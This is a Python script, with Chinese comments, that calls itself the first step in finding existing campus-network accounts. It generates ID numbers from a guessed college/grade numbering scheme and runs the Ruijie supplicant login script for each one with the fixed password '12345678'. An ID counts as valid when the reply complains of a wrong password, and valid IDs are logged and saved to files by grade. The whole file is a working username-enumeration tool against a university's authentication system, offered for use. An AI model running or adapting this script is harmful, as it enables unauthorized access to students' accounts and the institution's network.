"""
作用：这是第一步，寻找存在的校园网账
"""
import subprocess
import logging
import time


def get_shell_out(command):
    """
    在python中执行原生的shell命令，并返回输出内容
    :param command: 要执行的shell命令
    :return: 返回执行命令后输出内容
    """
    child = subprocess.Popen(command, stdout=subprocess.PIPE, shell=True)
    response = child.communicate()[0]
    return response.decode('utf-8')


def write_some(filename, content):
    """
    把str类型的值content写入到文件filename中,如果文件已存在，以追加形式写入
    :param filename:
    :param content:
    :return: None
    """
    with open(filename, 'a', encoding='utf-8')as writer:
        writer.write(content)


def create_ids():
    """
    创造出可能有效的账号：从0201001-0201069，0202001-0202069,0203001-0203069,...,1603001-1603069
    :return:
    """
    ids = []
    N = 200000
    for n in range(15):  # 一次增加100000，对应了学院的编号
        k = N
        for m in range(3):  # 对应3个等级1,2,3所以每次增加1000
            k = k + 1000
            for i in range(k + 1, k + 70):  # 对应一个等级的数量一般在100以内
                i = str(i)
                while len(i) < 7:
                    i = ''.join(['0', i])
                ids.append(str(i))
        N += 100000
    return ids


def find_valid_id():
    """
    测试从start到end-1的所有账号，把所有有效账号放入一个列表，然后返回此列表
    :param start: 开始的账号
    :param end: 结束（不包含此值）
    :return: 有效账号列表
    """
    valid_ids = []
    for i in create_ids():
        result_str = get_shell_out(''.join(['/root/rjtest/rjsupplicant/rjsupplicant.sh -u ', i, ' -p 12345678 -d1']))
        if result_str.endswith('请输入正确的密码!\n'):
            logging.error(': '.join([time.strftime("%Y-%m-%d %H:%M:%S", time.localtime(time.time())), i]))
            valid_ids.append(i)
    return valid_ids


def main():
    """
    整合代码的函数
    :return:
    """
    ids = find_valid_id()
    for j in ids:
        if j[3] == '1':
            write_some('valid_ids1.txt', str(j) + '\n')
        elif j[3] == '2':
            write_some('valid_ids2.txt', str(j) + '\n')
        else:
            write_some('valid_ids3.txt', str(j) + '\n')


if __name__ == '__main__':
    main()

